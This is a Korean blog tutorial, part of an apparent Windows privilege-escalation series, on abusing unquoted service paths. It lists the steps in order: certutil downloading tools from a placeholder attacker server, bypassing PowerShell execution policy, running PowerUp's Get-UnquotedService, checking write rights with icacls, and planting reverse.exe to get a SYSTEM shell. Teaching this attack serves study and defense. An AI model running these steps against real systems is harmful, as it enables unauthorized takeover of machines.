실행 파일 경로에 공백이 포함되어 있고 따옴표로 묶이지 않는 서비스가 생성되면 사용자가 시스템 권한을 얻을 수 있는 Unquoted Service Path라는 취약성이 발생합니다. (당연히 우리가 hijack 하고자 하는 서비스는 system 권한이 있어야 권한 상승이 가능하죠)
#1번 블로그에서는 winpeas를 사용했지만, 이번에는 PowerUp이라는 powershell 스크립트를 사용해 보겠습니다.똑같이 certutil.exe로 공격자의 서버에 있는 파일을 다운로드하고 실행시키면 됩니다.스크린 캡처 맨 밑에 "unquotedsvc" 서비스가 보입니다.
1) 다운로드
certutil.exe -urlcache -f -split http://공격자아이피/파일이름
2) powershell 실행
# ep는 Execution Policy입니다.
powershell -ep bypass
3) PowerUP Import
Import-Module .\PowerUp.ps1
4) 원하는 function을 실행
Get-UnquotedService
sc qc로 확인해보니 LocalSystem 권한을 가지고 있는 서비스입니다.
Unquoted Service Path란?
서비스가 따옴표로 묶이지 않고 공백이 있는 경우 공간을 구분으로 처리하고 나머지 서비스 path를 binary의 argument로 씁니다. 따라서 윈도우는 서비스 path의 directory를 하니씩 확인하면서 .exe를 찾고자 합니다.
공격자에게 위의 directory들 중에 만약에 write권한이 있는 directory가 있다면, 악성 실행 파일을 path에 넣을 수 있겠죠?
윈도우 환경은 어떤 권한이 있는지를 "icacls"로 확인할 수 있습니다.
C:\Program Files\Unquoted Path Service"를 확인해보니 "Builtin\Users"에게는 (F)권한이 있으며 Full이라는 뜻이므로 write 권한도 있다는 말입니다.
#1번 블로그에세 만들었던 reverse.exe 실행 파일을 다시 사용해 보겠습니다.
reverse.exe를 write 권한이 있는 위치로 copy하고 서비스를 "net start unquotedsvc"로 부팅시키면 "nt authority\system" 권한이 있는 shell를 얻습니다.
윈도우 권한상승 #6 SeBackup Privilige (1) | 2022.06.19 |
---|---|
윈도우 권한 상승 #5 AutoRun (0) | 2022.06.15 |
윈도우 권한상승 #3 Always Install Elevated (0) | 2022.06.07 |
윈도우 권한상승 #1 Insecure Service Permissions (0) | 2022.06.03 |